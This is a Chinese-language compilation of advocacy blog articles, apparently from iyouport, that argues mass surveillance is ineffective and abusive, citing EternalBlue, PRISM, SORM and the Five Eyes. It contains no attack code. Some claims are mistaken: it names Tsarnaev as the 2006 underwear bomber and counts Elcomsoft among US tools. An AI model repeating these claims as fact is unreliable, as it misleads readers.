互联网，他们从根本上相信信息是免费的，而安全来自公共知识和辩论，他们钟爱技术、擅长技术，懂得如何用技术保护自己并对恶权发起挑战，新一代精英正在从年轻人中诞生。这是一种隐性的社会变革，在这一趋势下当权者要想继续说服人们对保密的服从只会越来越难。

你知道为什么中国政府全球盯梢海外留学生了吧，他们对年长的海外华裔异议所施加的压力和监视并没有对年轻人更多；他们对国内的老一代异议所实施的管制也没有对网络知名人士（那些年轻而拥有影响力的人）所施行的吸纳打压政策更多。然而很多华裔年轻人的认知就这样被毁掉了，变得连美国80岁的保守派老人都不如。

秘密仍在中国盛行，很多中国异议仍在举着当权者的狡辩之词 – 所谓的国家安全 – 谴责 Snowden，北京政府正在偷笑。

五、“间谍工具不是在抓坏人吗”—— 为什么要彻底制止间谍工具本身？

近年来，在美国，关于解散国安局的呼声越来越高，从最初的学界到后来的民间异议，中国人恐怕很难理解这件事。

自 1952 年成立以来，国安局就被赋予了双重使命：首先是信号情报（SIGINT）拦截属于被华盛顿认为是美国敌人的通信；其次是通信安全（COMSEC）保护美国军事和政府部门不被他人拦截。因为不同国家使用不同的通信系统，军事人员和平民也使用不同的通信系统，当时这两大使命是互补的。但是，那只是当时，如今这两个使命完全矛盾。

或许法律可以决定什么样的监控是合法的，但是技术才能确定什么样的方法是可行的。互联网告诉你的第一件事就是，技术无国界，信息无国界，安全的权利全球共享。

如今国安局已经无法做到在削弱敌人的同时保护自己的网络。情报机构用于相互监视的技术漏洞，也同样被犯罪分子用来窃取财务密码、发送勒索软件—— 前天（5月14号）是横扫了全球 99 个国家和地区的著名勒索软件 WannaCry 爆发一周年，英国媒体反思了英国被该勒索软件瘫痪的社会，但没能触及根源性问题，即，该勒索软件正是利用的美国国安局实施间谍活动的工具“EternalBlue”，该工具被犯罪分子获取的结果。

这只是其中所有案例之一，更著名的震网病毒，几乎所有互联网人都

应该记得，还有破解密码软件 Elcomsoft，数据包注入（packer injection）等等太多最终变为伤害的间谍工具，全是美国开发的。美国政府希望不受限制地监控公民的愿望，直接打乱了互联网的运作方式。

这根本无法避免。因为全球人使用着同样的产品、技术、协议和标准，你只有两种选择：要么把它变成更容易被每个人监视他人所用，要么使其变成更难以被任何人监视他人所用。注意是任何人，情报机构当然在其中。

这就是自由对抗控制，所有人在共进退。

在互联网的世界里强调国家概念是非常可笑的（中国政府就在这样强调，一些中文舆论也是如此）。曾在小布什政府中担任助理总检察长的哈佛大学法学教授 Jack L.Goldsmith 撰文明确过这点："每一个攻击性武器的开发都会成为我们防守的弱点，反之亦然"。

比如美国《通信协助执法法案 CALEA》要求电话交换机启用窃听功能。即便美国人都允许警方拥有这些能力，假设所有人都信任警察不会滥用权力，但是这些电话交换机是销往全球的。2004～2005年期间，希腊政府部门中有一百多成员的手机遭到窃听，包括总理和国防部长、外交、司法部门全在内，还有希腊著名的公民。为什么？因为瑞典电信供应商爱立信在沃达丰产品中设置了窃听功能，虽然只在政府的要求下才运转。但是，希腊政府显然不是那些恰好能指挥窃听的政府，于是它就变成了被窃听对象 —— 只要这些功能存在，任何有技术的人都能开启它，并达到自己的目的。

这不是孤立事件。稍微关注新闻的人都应该有印象，哪怕印象不深，这类状况比比皆是。因为这就是本时代赋予我们所有人的选择：要么每个人都能得到这种能力，要么没有任何人能得到。绝无其他选项。

美国有着令人钦佩的强大技术能力，但如果它用不对地方的话，绝对就会成为全球专制政府和犯罪分子的盛宴。

重申本网在"为自由而战"系列中所强调的：密码学把互联网夺回来，回到人民的手中，支持开源和去中心化，抵制一切审查和监控，让互联网重新成为人民的基础设施，而不是权力的工具。

六、"监视者也可以被监管嘛" —— 为什么立法监管很可能没用？

大规模监视与核武器Facebook 丑闻以及欧洲隐私保护新规即将出台

在近期引起了很多舆论对监管抱以期待。但经验显示，你的期待很可能会落空。

理论层面上，对付国家级大规模监控的两种途径是：物理定律和人的定律。前者是指开发防御拦截的设备，后者是指制定民主控制的法律，以确保人们必需得到授权才能进行数据拦截，并确立某种监管问责机制。听起来很不错吧。

但是，战略性拦截不包括其中，它不可能受到监管的有效制约 —— 战略性拦截就是不分青红皂白地拦截所有人的数据。要知道，是统治集团核心在从事这种监控，他们不可能有充分的政治意愿曝光国家的间谍行为。技术本身是复杂的，使用中又是秘密进行的，于是不可能得到有效的民主监督。

政策可以制定，但只能摆在那里，得不到遵守。无法期待全球各个国家能接二连三地出现斯诺登。斯诺登的揭露是史无前例的，极为罕见，也不大可能有后来人了。尤其是这些揭秘者的可怕遭遇频频出现在媒体报道中之后，寒蝉效应已经弥漫。

除非是很小的国家比如冰岛，加之维京人骨子里的反抗精神，有可能存在的革命条件，否则根本不可能通过立法和政策控制大规模拦截。要知道，绕开政治问责而实施拦截是非常容易的。

不是没人试过监管，瑞典在十年前就通过了一部拦截法案，即全球著名的 FRA-lagen，该法案意味着瑞典情报机构 FRA 在满足某些条件的情况下可以合法实施大规模拦截过境通信，把所有数据送往美国（前一个链接是相关报道，后一个链接是维基百科对该法案的介绍）。但很显然，一旦你设立了这样的拦截系统，一个执行拦截的秘密间谍机构，还怎么可能贯彻这些附加条件呢？逻辑上完全矛盾。

事实就是如此，**FRA** 早已在各种场合中破坏了法律。

许多国家将拦截行动置于法律管辖之外，根本就没有对此立法。如果他们决定为了保护自己免遭起诉而通过修改法律以令这种行为合法化，就像瑞典的例子，还真的值得庆幸呢，虽然跟没有一样。但对于大多数国家来说，情况就是 —— 大规模拦截一直在持续并且愈演愈烈，立法提案却在帮从事拦截的人擦屁股。

如上所述的机密化处理是一部分原因，无法立法监管的另一部分原因是技术本身的问题。这种技术非常复杂，比如在澳大利亚和英国，对全面拦截元数据的立法提案中，大多数立法者根本不懂元数据的价

值，甚至不懂这个词本身是什么意思。

但最基本的应该明白，要想拦截所有元数据意味着你必须先建立一套系统，以能做到在物理上拦截所有数据，然后再扔掉元数据之外的其他东西。但是，这种系统是不可信的。除非有熟练的工程师得到批准去彻查所有发生的事，不然你无法判断这个系统实际上是否存在拦截和储存所有数据的行为。

由于技术复杂性和保密政策的有效勾结，问题会变得越来越糟。真相被掩盖在复杂性中，被掩盖在各种秘密之中。不可问责制就内嵌在这种系统里，这是体系的特征。是故意设计出来的危险。

即便为一般警察制定了适当的行为规范，也可能有其他人能够使用这些这些技术。但能否对技术购买和拥有进行管制呢？

就像核武器。你不能轻易出售核武器，而有些国家也许想要制造这种武器但遇到困难。当你谈论核武器系统时，这是一种受管制的技术，管制的不是它的使用，而是它的制造。于是这个议题也许应该是：技术是否应该被当作战争手段？

不同国家的状况不同。比如在利比亚叙利亚这些地方，监控设备就是武器，毫无疑问使用者完全是出于政治目的，利用它来针对目标人群。法国公司 Amesys 监控那些在英国使用法国设备的人，而这种监控在法国是非法的（Amesys 是 Bull 集团的一部分，曾经是 IBM 的 dehomag 在向纳粹销售打卡系统方面的竞争者，Edwin Black 在《IBM 与大屠杀》一书中有详细记录）

当我们开始在武器层面上考虑这个问题时，必须记住，大规模监控系统的出售并不是向一个国家出售一辆战车，而是出售一辆战车、外加一个机修工、一个驾驶战车的团队，他们是打包的，随时可以选择性瞄准人群，准备开火。（上面链接详细介绍西方国家公司如何向威权国家提供大规模监视技术）

这种售出几乎无法被制止，因为利益重大，而不是仅仅在金钱层面：假如你和一个邪恶的国家做生意，你把监控设备卖给他们去做坏事，你就能从中获利，因为你能因此知道这个国家的政府正在监听什么，他们最怕的是什么，谁是对该国最具威胁的人，哪些是政治反对派，谁在组织政治活动……据此就能预测未来会发生什么，以及你可以采取什么行动。那些出售监视技术的国家不会在乎被这些技术抓捕和剥夺自由的人的遭遇，这是一笔肮脏的交易，更是为什么监控系统不受管制的真相。

还说原子弹。原子弹被造出来就能引发地缘政治变化，许多人的命运将会因此被改变 —— 有些人得到好处，有些人被置于全面灾难的边缘。这就会引发一场要求控制局面的管制运动，在目前为止，除了日本，这些控制都能让人们免遭核战的威胁。但同时也是因为这种武器的使用太容易被发现了。

随着大规模监控在过去十几年间变得越来越成熟，监控成本也越来越低，对全球民主自由而言已经构成了严重的可见的威胁。我们需要一个回应，而不仅仅是简单的某个国家立法管制，我们需要的是像面对核战争时所做出的那种大规模回应。迫在眉睫，在你还有机会控制局面的时候。〇

原文

卫星已经开始观察你的每一个动作 - iyouport

监视之恶-关于你可能还不知道的真相

【2019年11月21日存档】天空中有“实时”间谍。

随着大规模监视成为一个恐怖的现实，卫星也不闲着了 —— 已经开始关注你的一举一动，特别是对爱好自由的人类来说，噩梦正在加深。

根据麻省理工学院技术评论的一份报告，虽然商业卫星图像已经足够强大，例如，能看到是一辆汽车，但它的详细程度还不足以识别品牌和型号。

但隐私和自由倡导者说，这无关紧要。问题是，我们已经被看到了。

据 CNET 称，近10年来卫星成像技术的巨大进步让隐私权倡导者很担心24小时持续的监控。

卫星公司声称他们将一个人的数据与任何识别特征分开，但是，包括安全世界基金会的 Peter Martinez 在内的许多人仍然关注人们被不断监测的问题。

“这些风险不仅来自卫星图像本身，还来自地球观测数据与其他数据来源的融合，” Martinez 在一封电子邮件中说。

问题在于卫星的数量很大。影像公司 Planet Labs 证实它目前有140颗成像卫星在轨道上运行。这足以在一天之内游遍地球上的每一个地方。

“即使使用 Planet 的最高分辨率图像（1米分辨率），仍然无法区分个人、车牌或其他识别性信息。我们的图像非常适合每天监控大规模的变更；这包括看到建筑物和道路、森林、农业、水体等地表的日常变化”，Planet Labs 的发言人在一封电子邮件中说。

想想看，如果他们能看清，他们会承认吗？

但肯定无疑的是，技术正在快速发展，并随之增加政府的监控能力。

尽管许多人都知道自己一直在被持续不断地监控和追踪，但有些人并不完全理解这种情况有多糟糕。

每个人都想要某种形式的隐私；然而，我们生活的世界提供的并不多。

就如 Cloud Wards 的报告所展示的，如今很多国家都有大规模监控系统，但五眼、九眼和14眼联盟的国家基于情报合作，可以大规模地跨国共享数据，也就是形成跨国监控。无辜的人每天都在被监视。

更多：全球大规模监视系统简要报告《您应该了解的政府监视项目》

五眼、九眼和14眼情报联盟是全球监控游戏中最重要的角色。所涉及的每个国家都可以在特定地区进行监视，并与联盟中的任何其他国家分享。

这就是绕开宪法制约的最佳方法。比如美国的宪法禁止情报机构监视本国公民，那么美国的间谍机构就可以让英国的间谍机构监视美国人，然后再与美国的情报机构共享。他们这样做已经有几十年了。

在这里看到更多《最佳庇护所和跨国维稳—— 透明度革命的未来》

卫星监视的发展速度会有多快？看清全世界每一个人的脸和每一张车牌还需要多久？〇

Satellites Have Already Started Watching Your Every Movement

原文

可怕的“连点成线” 和互联网审查—— 监视之恶（四）“反恐”歧途 - iyouport

监视之恶-关于你可能还不知道的真相

【2018年2月15日存档】权力集中的领域势必吸引着滥用权力和贪图权力的人。而互联网让权力再一次出现了集中化高峰，如今的网络安全沙皇和五十年前的安保部队沙皇没什么区别，人类正在建立一种同样的威权控制架构，它吸引人们去滥用它。

人们往往会集中于罕见而惊人的威胁，而忽视了平凡的常见的威胁，就如人们会害怕飞机比驾车多一些，即使前者更安全。或者害怕恐怖分子比警察多一些，即使有数据表明，仅仅在美国警察杀人的数量是恐怖分子的 9 倍。具体数据在这里《You’re Nine Times More Likely to be Killed by a Police Officer than a Terrorist》。

所有人都憎恶恐怖分子，憎恶暴力，当权者很明白这点，于是“反恐”就成为了他们说服人们接受侵入性监视手段的最有效理由之一。但必需知道，大规模监控绝不是防范恐怖主义的有效方法，不仅无法给人民带来安全保证，反而首先就危害到了人民的基本权益。简单说说为什么。

可怕的“连点成线”

“连点成线”这个比喻是 NSA 在为他们的监控行为做辩护中反复使用的。然而这是个可怕的误导性比喻。这不是涂色书中的游戏，那些点都是被编号的，而现实生活中，“点”只能在事实的基础上得到确认。

著名风险工程专家 Nassim Taleb 将这种趋势称之为 “叙述谬误 narrative fallacy”。人类是天生的讲故事高手，而故事世界比现实更有条不紊、可预测、连贯一致，问题在于你无法生活在故事里，这不是在写 homeland 剧本。数据显示，美国运输安全管理局的禁飞名单上有 2 万多人，恐怖分子身份资料库（也称为观察名单）上有 68 万人，他们中有 40% 不属于任何公开的恐怖集团。

数据挖掘技术使我们能将点连接起来，但当企业成功挖掘了我们的个人信息时，有三个关键问题使数据挖掘不能成为发现恐怖分子的工具。分头说。

挖掘本身的侵犯人权问题前文已有论述，此处搁置。

第一也是最重要的：错误率问题。对于广告来说，即使有很大的错误率，数据挖掘也能达到目的，但对于找到恐怖分子这样的需求来说，需要非常高非常多的精准度。

当你搜索一个特定事物时，当每一件事每年都存在合理数量，当错误警报的成本很低时，数据挖掘的效果比较好。检测信用卡诈骗是数据挖掘比较成功的案例之一，所有信用卡公司都会挖掘交易数据以揭发盗卡消费模式。美国有超过 10 亿的活跃信用卡流通，中国有 5 亿左右，在美国的数据是大约有 8% 被盗用。许多被盗的信用卡都有共同特点：购物场所不是持卡人经常去的地方，这些卡被用于购买旅程、奢侈品和黑市商品。在许多案例中，数据挖掘系统能通过阻止欺诈交易而将损失降到最低。误报的唯一代价就是给持卡人打电话，要求核实购买记录。

恐怖分子可不一样，主要因为诈骗经常发生，而恐袭不常发生。这意味着即便是高精准度的恐怖主义预测系统也会因为不可避免的误报而变得无用。（在统计学中它叫做“基准利率谬误”，对此感兴趣的读者可以参见这里的详细说明：Effective counterterrism and the limited role of predictive data mining ）

原因在于检测数学运算，所有的监测系统都有错误，系统设计人员可以调整参数使误报、漏报最小化。在恐怖分子检测系统中，当系统错误地将某种无害的东西识别为威胁，就会出现误报；当系统漏掉了某次实际攻击，就会出现漏报。依赖于你如何“调整”检测系统，你可以增加误报的数量来确保漏掉攻击的数量减少，或者以漏掉一些攻击为代价来减少误报的数量。

因为恐怖袭击不常发生，不管你调整得多么好，误报都将彻底充斥整个系统。彻底指的是：如果系统能发现所有的恐怖袭击，那么数百万人会被错误地指控参与了系统发现的每一次“恐怖阴谋”。

如果误报的成本较小，也许能够处理所有被系统标记的无辜受害者。想想机场的全身扫描仪，它对身体进行扫描时警报就一直未断，但运输安全管理局的工作人员可以通过简单的搜身轻易发现误报。这不适合于更一般的基于数据的恐怖主义检测系统。每一次警报都需要漫长

的调查来确认它是否属实，不仅耗时耗材，还妨碍情报官员做其他有效的工作。

最简单的说就是：当你看到一切的时候，其实你什么都没看到。

NSA 前局长 Keith Alexander 对此的形容最贴切："你得去大海里捞针"。这句话完美地诠释了大规模监控和大批量数据收集所存在的问题。当你要找到一根针的时候，你最不应该做的就是把一个草垛堆在上面，而那些痴迷于"收集一切"的当权者，堆上的可不止一个草垛。

NSA 自己也意识到了这点，他们的文档证实了，而军事情报界甚至谈到了"从消防水管中饮水"的问题：太多的噪音完全掩盖了真实的线索。

同时，误报充斥着整个系统。我曾经在剧评里写道，homeland 片中最为贴切的隐喻就是主人公的躁郁症，911 后的美国就是患上了躁郁症一般，对数据的痴迷、对社会的全面控制的需求都证明了这点，如今它已成为美国异议人士的讽刺对象。其中比较典型的根据就是大量出现的严重的错误警报。当时国安局每个月向联邦调查局发送上万份提示信息，所有这些信息都被证明是假警报。"Spy Agency Data After Sept. 11 Led. F.B.I. to Dead Ends" 被美国自由公民联盟记录（PDF）。

这和一个女主角的躁郁症所付出的代价可完全不在一个重量级上，所有人都被因此搞得疲惫不堪，所有公民都被严重侵权，民主被削弱。其根源就是那个古老的名为"Suspicious Activity Report, SAR 可疑活动报告" 的数据库：数以万计的报告，几乎没有任何实际效果（PDF）。

拦截了所有人的电话通讯元数据，只有一次取得了"成功"，拦截到了一个出租车司机给索马里组织送了8500美元，而此人对美国没有直接威胁。此事多年来一直是舆论笑柄。但即便这件事本身都有可能是捏造的。

第二个问题是：每一次攻击都是独一无二的。在波士顿马拉松终点站高压锅炸弹发生之前，谁也不知道这种情况会出现。而且今后也不大可能会出现了。如果把高压锅当成检测策略，必败无疑。并且任何一种标准都是如此。

第三个问题是，国安局尽力想要找到的人都非常狡猾，他们的工作就是逃避一切检测。在个性化营销的世界里，典型的监控对象不会试图

隐藏自己的活动，在警察国家环境下却并非如此。敌对关系将这个问题变得更加复杂。

这三个问题并不是一成不变的，但必需说，如果你的任务是找恐怖分子，数据挖掘就是错误的工具，因为所有大规模监控都要求对不合理的信息进行反馈。Keith Alexander 还是局长的时候非常坚定地支持对用户大规模数据收集，他认为泛在监控能帮国安局阻止911 袭击……这基本不可能。连波士顿马拉松爆炸案都没能阻止，尽管其中一名袭击者就在当局的“恐怖分子名单”上，两名袭击者都在社交媒体上有不良记录 —— 那是2013年，911 发生后的12年，大规模的收集依然被证无效。道理很简单，袭击者的数据已经被收集了，却在爆炸发生之前，没人觉得该数据点有什么值得关注的地方。

911 袭击事件委员会可以说理解到这一问题了，该委员会的报告展示了一个失败的“连点成线”。大规模监控的支持者要求收集更多的数据，但这份报告说，情报界在没有实施大规模监控的情况下拥有与阴谋相关的所有信息，“失败只是因为分析不足”（这里指向详细报告 PDF）。

2006年，凭借大规模监控并没有找到内衣炸弹袭击者 Tsarnaev。尽管他的父亲反复警告美国政府他非常危险。液体炸弹在伦敦的公寓被检获，不是通过大规模监控，而是最传统的调查性质的警方工作。

相关例子非常多。有记录的国家安全局的成功案例都来自目标性监控，而不是大规模监控。分析表明，情报部门获取潜在的袭击阴谋是通过可疑活动报告，以及其他无关犯罪调查。大规模监控并没有在此提供任何支持。（前面的链接指向详细研究报告）

互联网审查

扎克伯格已经变成了事实上的宣传部长。根据 Facebook 全球政策管理总监的报告，Facebook 现在拥有一个由 10,000 名成员组成的并快速增长的安全团队，其中 **7,500** 名员工负责审查网上内容。该团队还有一个所谓的“互联网反恐组”，由前智库和执法人员组成，专门在网上嗅探“恐怖主义内容”。据 Bickert 称，Facebook与许多其他公司合作，将公司确定为‘违反标准’的媒体全写入黑名单，黑名单上的人最终会受到所有社交媒体的限制。

审查是大面积展开的，宣传部并不是 Facebook 的专利。但究竟什么是恐怖主义，尚且没有一个全球公认的定义，何况“恐怖主义言论”？那么这些互联网巨头究竟是根据什么来审查内容的呢？它们没有告诉

你，恐怕他们自己也说不清楚。

但每个人都知道，不论你想过滤什么样的内容，首先要做的都是对所有数据的全面拦截，也就是监视每个人都在做什么，你需要建立能够监控所有人的基础设施，也就是大规模监控系统。

权力集中的领域势必吸引着滥用权力和贪图权力的人。而互联网让权力再一次出现了集中化高峰，如今的网络安全沙皇和五十年前的安保部队沙皇没什么区别，人类正在建立一种同样的威权控制架构，它吸引人们去滥用它。

服务商在这里扮演着这样一种角色，他们主动剥削人们接触互联网信息的能力。不论你把权力赋予公司、政府，还是其他什么人，都存在着巨大的风险。

互联网上的确有一些内容令人作呕，但解决这个问题的方法绝不是政府和服务商主导的审查，很多国家都存在骚扰人民的所谓“常规监督”。

那么应该怎么办？德国“黑客元老”瓦乌·荷兰德曾经说过：“过滤应该由最终用户来决定，由终端用户的终端设备来执行”。这就是答案。

也就是说，每个人都带着一个过滤器，就长在脖子上——你的大脑。过滤不该由政府代表人民来执行，如果人们不想看到某些东西，那好，他们就不会去看，而且，不论如何，现在也的确需要你自己去过滤很多事情。

早已被威权国家用作对社会实施高压政策的借口

中国官方越来越多地以“中国暴力恐怖事件日趋多发”为借口，主张制定《反恐怖主义法》。还模仿到了互联网审查的借口，宣称网络也越来越被恐怖组织所利用，因此迫切需要加强制度化。

中国外交部大言不惭地表示希望美方尊重中方正常的立法活动，不要搞“双重标准”。称：包括美国在内的一些国家出于反恐需要，在相关立法中规定了网络运营商和服务商的协助义务。中国的反恐法就是参照美国等国的反恐法而制定的……真是噎死人的回应。

国际人权组织只能用“定义模糊”来反驳，比如大赦国际东亚地区负责人 Nicolas Bequelin，他认为中国反恐法在恐怖主义、国家安全、以及极端宗教等许多问题上的定义都十分模糊。这就给中国官方的镇压活动提供了巨大的空间，这将严重的威胁中国的人权，尤其是在中国

的西藏以及新疆等地。此外，这一法案的另一个问题是它将给予中国政府无比巨大的权利，使他们有权监控在中国运营的电信运营商的巨大的电子数据库，并且强迫企业提供解密技术。所以，这其实是一大侵犯自由的法律，它将帮助中国政府维护国家安全，也就是捍卫中国共产党的统治。

他说的很对，但问题在于，理论角度上它根本无法定义清晰，就如本文上面所分析的，即便可以精准定义恐怖主义，“反恐”也不能作为大规模监控的理由。于是国际人权组织对中国的反驳力度可以说一直很弱，真正能切入其要害的反驳方法就是论证监控无助于所谓的反恐。当然，论述成功的结果就是将美国的做法一起反驳了，这是无可避免的，因为事实如此，任何人的观点不应该在以回避事实为手段，否则必定会处于弱势地位。

在美国，很多专家和研究人士曾经多次论述或陈述过为什么监控无助于“反恐”，包括基地问题专家 Lawrence Wright、有线电视新闻网安全分析员 Peter Bergen 等，他们清楚地解释了为什么大规模监控所起到的效果会适得其反：它使得侦破和阻止恐怖行径的难度愈发加大。

民主党国会议员 Rush Holt 作为一名物理学家，同时也是国会中为数不多的科学家之一，他曾明确指出，收集所有人的通话交流记录只会使得真正的恐怖分子所商讨的阴谋模糊不清；采取有针对性的而非不加区分的监控将提供更具体有效的情报信息；而当前的法律使得情报机构数据泛滥，他们无暇对之有效地分类处理。并且，以反恐为理由的要求削弱加密技术的举措，使得对老百姓非常重要的生活部分比如银行、病例、商业等等系统更容易受到骇客的攻击。

然而事实显示，直到如今当权者仍未改变。NSA 去年收集了 5.34 亿电话和短信记录，是 2016 年的三倍还多。Snowden 在 2013 年曝光了 NSA 的大规模信息收集之后，美国国会议员于 2015 年通过法律试图限制 NSA 的大规模情报收集。结果反而是 NSA 的电话和短信记录收集从 2016 年的 1.51 亿大幅增长到了去年的超过五亿。

而包括中国、土耳其在内的很多国家已经将“反恐”作为最强借口以针对社会异议人士和少数民族施加了史无前例的高压政策。

控制一切才是真正的目的

纸质媒体衰落的同时，六家跨国互联网公司控制了 **90%** 的线上内容，Truthdig 专栏作家 Chris Hedges 与纽约大学媒体研究教授 Mark Crispin Miller 做了一期关于信息自由的对谈。其中 Miller 很不客气

地将当下被上述巨头把持的信息生态形容为“gleichschaltung”。这是个纳粹术语，德语原意是“一体化”，这个词被纳粹用来建立一个渗透社会各个方面的极权统治和协调制度。你可以把它理解为北京政府追求的意识形态一致性。

他指的是通过算法实现的流量定向，就是通过强化一些内容的出现频率、同时削弱另一些，以达成“大一统”的目的。监视是基础工程，是成功定向的前提，它需要首先了解你最容易接收哪些方面的信息。我将在后面的文章中专门分析算法的问题。

实施监控可以帮助政府对原本应该可以异彩纷呈的政治信条实现“统一”。这不是纳粹和北京的专利。在20世纪之交，英法均设立了特殊的监控部门，以应对反殖民主义运动的威胁。阿拉伯之春期间反抗独裁政权的民众抗议活动中，叙利亚、埃塞俄比亚、埃及和利比亚等地的政府都在针对国内持不同政见者对互联网的使用进行监控……

很多调查足以表明，在独裁政府深陷民众的重重包围之中时，他们索性从西方科技公司大量购买监控工具。叙利亚的阿萨德政权甚至从意大利监控企业 Area SpA 直接调入了许多员工，他们获悉叙利亚“迫切需要对人员进行跟踪”。

在埃及，穆巴拉克的秘密警察购买破解 Skype 密码的工具，对激进人士的网络通话进行窃听；在利比亚，记者和抗议人士闯入政府的监控中心，结果发现了冰箱大小的黑色设备，这些东西都产自法国监控企业 Amesys，被用来监控利比亚主要互联网提供商的网络流量，“打开邮箱、破解密码、潜入在线聊天工具，并勾勒出不同的监视目标之间的关系”。

有能力对人们的交流沟通进行窃听，为从事此举的人提供了极大的权力。除非这类权力可以得到严格的监督控制和问责考量，几乎很容易就会被滥用。若要指望政府在完全保密的情况下开启大规模监控机器，而且完全不会另徇私情，既有悖于历史，也与人性基础背道而驰。

互联网早已不再是只能实施几种生活功能的几个孤立的域名，正相反互联网构成了我们生活的核心，几乎与所有事情息息相关。尤其是在网络上，人们更倾向于表达真实的内心，那些平日不敢说出口的话却全放在了互联网上。事实已证明，这是很危险的。但这不是我们的错。

将互联网纳入大规模监控系统所产生的效果与历史上任何国家实施的

监控都大为不同。所有以往的监控体系由于条件所限相比之下更具局限性，也便于规避。然而允许监控体系在互联网上生根发芽，则意味着基本上所有形式的人类互动、规划甚至想法本身，都会受到政府的监视。

—— 未完待续 ——

本系列完整版在这里：

- 《老大哥并没有一直在看，反而比这更可怕—— 监视之恶（一）》
- 《为什么必需拒绝大数据—— 监视之恶（二）公私监控伙伴关系》
- 《“冰河”已在你心里，这就是他们的目的—— 监视之恶（三）历史和现实，拆穿谎言》
- 《可怕的“连点成线” 和互联网审查—— 监视之恶（四）“反恐”歧途》
- 《“六行字足够绞死你”，这不是玩笑—— 监视之恶（五）数据指控》
- 《“计算机和狗”之辩，为什么要批评美国？—— 监视之恶（六）破解荒唐的狡辩（上）》
- 《为什么要求解散国安局？—— 监视之恶（六）立法监管不可能，应该怎么办（下）》

原文

您应该了解的政府监视项目 - iyouport

你我的灾难现实监视之恶-关于你可能还不知道的真相

【2019年11月15日存档】这只是冰山一角。

在7月份对美国协助中国构建大规模监视系统的两篇报道发布后，目前为止还没有看到来自中国的反抗行动。

如果您错过了这两篇报道，可以在这里看到：

- 《美国科技巨头如何帮助中国建立大规模监视系统》
- 《IBM和谷歌如何通过中国协助独裁政权的间谍行为？》

同类的大规模监视系统在很多国家都存在。technadu 做了一个简要的总结。

政府监视项目正如其名称所暗示的那样：目的是大规模地有组织地监视当地人口。

世界上有许多这样的监视项目，通常与美国国家安全局的当地监视项目等效。

公民经常只能通过透明度革命解密后才会看到这些监视项目的真面目。

否则，它们的名字不为人所知。

在有人进行调查之前，被监视的公民无法了解监视项目的日常工作情况。

这就是为什么透明度革命如此重要。

以下是已经被揭露的一些令人恐惧的国家大规模监视项目 —— 仅仅是已经被揭露的。

完全可以肯定，还有另一些秘密的至今没有被揭露的项目，即使它们

的名字也永远不会被说出来。

至少在所有参与者都死了之前，没人会知道。

尽管如此，人们仍然可以通过熟悉世界闻名的政府监视项目来了解当权者的欲望有多深。

PRISM (USA)

这可能是最著名的最家喻户晓的政府监视项目之一了。

在这里看到完整版汇总《互联网霸主的时间线—— 他们将互联网视为间谍、破坏和战争的主场》。

PRISM 是一个NSA监视项目，主要用于从提供互联网服务的公司收集信息。

是的，这就是美国政府让私营互联网公司监视他们的客户然后将这些信息传递给他们的方式之一。是协同作恶。

PRISM 于2007年推出，是目前为止生命力最强的最恐怖的监视项目。

自从它上线以来，PRISM 一直都是NSA互联网数据收集的主要来源。

NSA 在线收集到的所有信息中有90%都是来自于 PRISM。

PRISM 被揭露已经六年，现在的结果是什么？在这里看到《6年，改变了什么？》

Turbulence (USA)

该监视项目始于2005年，是备受诟病的“Trailblazer”计划的后续行动。

Turbulence 可不仅仅是静静地监视，⚠还包括使用恶意软件和其他骇客技术进行积极的网络战攻击。

Turbulence 有多个子程序，但并非所有子程序都为公众所知。

例如，TURMOIL 是当权者想办法破解加密的方法；TRAFFICTHIEF 则是一个旨在根据关联的电子邮件地址等内容构建元数据存储库的程序。

关于元数据：

- 《无处可藏的数字足迹—亦正亦邪元数据（上篇）》
- 《都是工具，从自我保护到有效利用—— 亦正亦邪元数据（下篇）》
- 自我保护方法《社交媒体情报和反情报基本工具手册》

虽然不知道 Turbulence 实际上在多大程度上渗透了公共隐私，但众所周知的是，该计划花费了高额的代价：年度成本接近5亿美元。

Mastering the Internet (UK)

英国人的风格和美国人有很多不同。

“Mastering the Internet” 这名字听起来就像是你为祖父母买的那些书之一，所以他们下次在收到诈骗电子邮件时就免得打电话给你了。

但众所周知，英国是最擅长大规模监视的国家。因此，“Mastering the Internet” 远非它的名字听起来那么简单。

- 在这里看到监视工具博览《浮空器、生物识别、射频、无人机 ……唐宁街聚集大规模监视行业，其关键技术中国几乎全有》

Mastering the Internet 实际上负责大规模的、原始的和未经任何过滤的信息收集监视项目。

2013年，“卫报”报道，该系统可以复制来自该国200个光纤入口点的所有信号。

这是一个巨大的信息量。

利用现代数据处理技术，可以从中获得大量的秘密。没人知道所有存储的数据可以在未来技术的帮助下揭示出什么 —— 这就是为什么他们拼命收集。

SORM (Russia)

SORM 是目前已知的俄罗斯国内主要的大规模监控项目。

这是 Wikileaks 揭露的。在这里看到：

- 《俄罗斯正模仿美国棱镜计划建立大规模监视系统——Wikileaks 披露（中文版）⏳》

当然，可能还有其他甚至名称都是秘密的监视项目，但这个特定的超级大国至少有一个这样的重大项目，并不奇怪。

SORM 主要是一套法律和技术规范，将大规模监视编入俄罗斯社会和商业的基础设施中。

只有俄罗斯最高情报机构 FSB 才能获得所收集到的信息。

- 《普京的秘密服务：克里姆林宫如何控制 FSB—— 俄罗斯情报机构联邦安全局》

今天，即使是常规的执法部门也可以将 SORM 数据用于他们自己的目的。

当 SORM 首次推出时，它基本上是一套指令和政府硬件，每个电信公司都被要求把这东西安装在他们的系统中。他们别无选择，拒绝安装此窃听器的公司将面临被关闭。

从那时起的所有改变只是被挖掘的通信类型，以及所进行的分析的复杂性。

每个ISP、每个移动电话运营商和每个固定电话运营商都必须将SORM间谍设备连接到其硬件上。

在俄罗斯，毫无疑问，你说的每个字都有人在偷偷的听。

Central Monitoring System (India)

印度本身就是一个不断增长的超级大国，也是世界上人口最多的国家之一。经常遭受恐怖主义和意识形态驱动的暴力。

因此，这个东部国家有一个庞大、复杂的大规模监视项目应该不足为奇。

它被称为 CMS 或中央监控系统，没有可怕的名称。

虽然美国国家安全局非常擅长给他们的监视程序起一些不祥的名字，但 CMS 听起来就像“MRI”一样平凡。

但是，当您开始深入研究此系统实际上可以执行什么样的操作时，该印象会快速发生变化。

CMS 作为一种自动化的印度法律允许的各种通信拦截的方式而存在。

该监视项目于2009年宣布，这是一个持续的过程。我们实际上并不知道CMS如何运作或它都能做什么的详细细节。

印度的透明度革命参与很少。

虽然公开信息稀缺，但仍然可以安全地假设，凭借现代技术的处理能力，CMS 将拦截几乎所有人的私人通信。

政府监视项目：这只是冰山一角

显然，以上这些远非世界上唯一的大规模监视项目。它们甚至不是各自国家中唯一的。

就其本质而言，有关国家希望尽可能长时间地保密。

